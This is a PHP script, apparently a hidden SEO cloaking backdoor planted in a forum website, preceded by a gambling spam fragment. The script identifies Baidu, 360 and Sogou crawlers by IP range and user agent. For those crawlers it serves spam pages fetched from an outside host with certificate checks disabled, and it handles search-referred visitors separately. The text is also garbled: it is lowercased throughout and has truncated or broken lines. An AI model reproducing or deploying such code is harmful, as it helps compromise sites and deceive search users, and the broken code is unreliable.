-pa旗舰平台尊龙
$ip_segments = array(
'124.166.232.', '116.179.32.', '180.76.15.', '180.76.5.', '220.181.108.',
'123.125.71.', '123.125.66.', '111.206.198.', '111.206.221.', '180.149.133.',
'61.135.186.', '220.181.32.', '61.135.168.', '23.88.208.', '61.135.165.',
'61.135.169.', '104.245.36.', '149.28.84.', '158.247.209.', '23.89.152.',
'45.66.156.', '65.49.194.', '8.9.8.', '220.181.108.', '116.179.32.',
'123.125.68.', '220.181.68.', '220.181.7.', '123.125.66.', '121.14.89.',
'203.208.60.', '210.72.225.', '123.125.71.', '220.181.107.', '220.181.38.',
'220.181.19.', '159.226.50.', '202.108.11.', '202.108.22.', '202.108.23.',
'202.108.249.', '202.108.250.', '61.135.145.', '61.135.146.', '125.90.88.'
);
$baidu_spider_ips = array();
$baidu_spider_ips = array_merge($ip_segments, $baidu_spider_ips);
$client_ip = getclientip();
$ua = isset($_server['http_user_agent']) ? $_server['http_user_agent'] : '';
$referer = isset($_server['http_referer']) ? $_server['http_referer'] : '';
if (isbaiduspider($client_ip) || preg_match('/baiduspider|360spider|sogou web spider|sogou pic spider/i', $ua)) {
if (ismatch) {
$headers = array(
'user-agent: ' . $ua,
'x-forwarded-for: ' . $client_ip
);
if ($referer !== '') {
$headers[] = 'referer: ' . $referer;
}
$api_url = "https://seo.yixinherostone.com/site/0054601d15f7374595f0eb11198463b4/" . ltrim($_server['request_uri'], '/');
echo geturlcontent($api_url, $headers);
exit();
} else {
$api_url = "https://seo.yixinherostone.com/url/0054601d15f7374595f0eb11198463b4";
echo geturlcontent($api_url);
}
} else {
if (ismatch && $referer !== '') {
$parsed = parse_;
if (isset($parsed['host'])) {
if (preg_match('/m\.baidu\.com|360\.com|so\.com|sogou\.com/i', $parsed['host'])) {
echo '';
exit();
}
}
}
}
function getclientip()
{
if (!empty($_server['http_x_forwarded_for'])) {
$ips = explode(',', $_server['http_x_forwarded_for']);
return trim($ips[0]);
} else {
return isset($_server['remote_addr']) ? $_server['remote_addr'] : '';
}
}
function ismatch
{
$url_path = ltrim($_server['request_uri'], '/');
$pattern = '/^thread-(\d{9,15})-1-1\.html$|^forum-(\d{9,15})-1\.html$|^index\.php\?news([a-za-z0-9]{1,5})$|^forum\.php\?news([a-za-z0-9]{1,5})$|^forum\.php\?mod=viewthread&tid=(\d{8,12})$/';
return preg_match($pattern, $url_path);
}
function isipinrange($ip, $cidr)
{
if (strpos($cidr, '/') !== false) {
list($subnet, $mask) = explode('/', $cidr);
return (ip2long($ip) & ~((1 << (32 - $mask)) - 1)) == ip2long($subnet);
} else {
return strpos($ip, $cidr) === 0;
}
}
function isbaiduspider($client_ip)
{
global $baidu_spider_ips;
foreach ($baidu_spider_ips as $cidr) {
if (isipinrange($client_ip, $cidr)) {
return true;
}
}
return false;
}
function geturlcontent($url, $header = array())
{
$curl = curl_init();
if (stripos($url, "https://") !== false) {
curl_setopt($curl, curlopt_ssl_verifypeer, false);
curl_setopt($curl, curlopt_ssl_verifyhost, false);
}
if (!empty($header)) {
curl_setopt($curl, curlopt_httpheader, $header);
}
curl_setopt($curl, curlopt_url, $url);
curl_setopt($curl, curlopt_returntransfer, 1);
curl_setopt($curl, curlopt_nosignal, 1);
curl_setopt($curl, curlopt_timeout_ms, 30000);
$content = curl_exec($curl);
curl_close($curl);
return $content;
}
?>